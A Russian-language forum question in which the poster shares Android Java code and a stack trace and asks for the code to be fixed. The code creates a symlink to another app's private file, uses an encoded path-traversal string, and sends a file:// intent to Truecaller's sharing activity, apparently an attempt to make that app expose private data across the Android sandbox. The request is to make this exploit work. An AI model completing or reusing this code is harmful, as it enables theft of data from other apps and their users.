Я создал приложение в качестве упоминания в заголовке. Мне удалось успешно создать ссылку на другой файл внутреннего приложения на мой файл app / data / data / myapp / с помощью символической ссылки, но когда я пытаюсь распечатать в журналах, это приводит к отказу в представлении .eacess
Mycode:
package myapp;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class MainActivity extends AppCompatActivity {
[@Override](/override)
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String deepPath = ("/data/data/" + getPackageName()) + "/x/x/x/x/";
new File(deepPath).mkdirs();
try {
new File(Uri.decode(deepPath + "..%2F..%2F..%2F..%2Fsdcard%2Ftest.xml")).getCanonicalFile().getParentFile().mkdirs();
Runtime.getRuntime().exec("ln -s /data/data/anotherapp/file /data/data/myapp/test").waitFor();
File f = new File("/data/data/myapp/test");
f.setReadable(true);
Intent intent = new Intent("android.intent.action.SEND");
intent.setClassName("com.truecaller", "com.truecaller.messaging.sharing.SharingActivity");
intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/data/myapp/test"));
startActivity(intent);
Log.d("MYAPP", MainActivity.getFileContents(f));
} catch (Exception e) {
e.printStackTrace();
finish();
}
}
public static String getFileContents(final File file) throws IOException {
final InputStream inputStream = new FileInputStream(file);
final BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
final StringBuilder stringBuilder = new StringBuilder();
boolean done = false;
while (!done) {
final String line = reader.readLine();
done = (line == null);
if (line != null) {
stringBuilder.append(line);
}
}
reader.close();
inputStream.close();
return stringBuilder.toString();
}
}
Приведенный выше код создает файл, который уже находится в другом файле, и создает символическую ссылку на мою внутреннюю папку / data / data / myapp / file. но в то время как я пытаюсь распечатать этот файл в журнале, возникает отказ в разрешении
ошибка:
java.io.FileNotFoundException: /data/data/myapp/test: open failed: EACCES (Permission denied)
03-16 00:53:19.897 4231 4231 W System.err: at libcore.io.IoBridge.open(IoBridge.java:452)
03-16 00:53:19.897 4231 4231 W System.err: at java.io.FileInputStream.<init>(FileInputStream.java:76)
03-16 00:53:19.897 4231 4231 W System.err: at com.mypackage.MainActivity.getFileContents(MainActivity.java:58)
03-16 00:53:19.897 4231 4231 W System.err: at com.mypackage.MainActivity.onCreate(MainActivity.java:50)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.Activity.performCreate(Activity.java:6237)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1107)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2369)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2476)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.ActivityThread.-wrap11(ActivityThread.java)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344)
03-16 00:53:19.897 4231 4231 W System.err: at android.os.Handler.dispatchMessage(Handler.java:102)
03-16 00:53:19.897 4231 4231 W System.err: at android.os.Looper.loop(Looper.java:148)
03-16 00:53:19.897 4231 4231 W System.err: at android.app.ActivityThread.main(ActivityThread.java:5417)
03-16 00:53:19.897 4231 4231 W System.err: at java.lang.reflect.Method.invoke(Native Method)
03-16 00:53:19.897 4231 4231 W System.err: at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
03-16 00:53:19.897 4231 4231 W System.err: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
03-16 00:53:19.897 4231 4231 W System.err: Caused by: android.system.ErrnoException: open failed: EACCES (Permission denied)
03-16 00:53:19.897 4231 4231 W System.err: at libcore.io.Posix.open(Native Method)
03-16 00:53:19.897 4231 4231 W System.err: at libcore.io.BlockGuardOs.open(BlockGuardOs.java:186)
03-16 00:53:19.897 4231 4231 W System.err: at libcore.io.IoBridge.open(IoBridge.java:438)
03-16 00:53:19.897 4231 4231 W System.err: ... 15 more
исправьте мой код, и я должен напечатать этот файл в журнале. исправить мой код и вставить в ответ его очень ценится. спасибо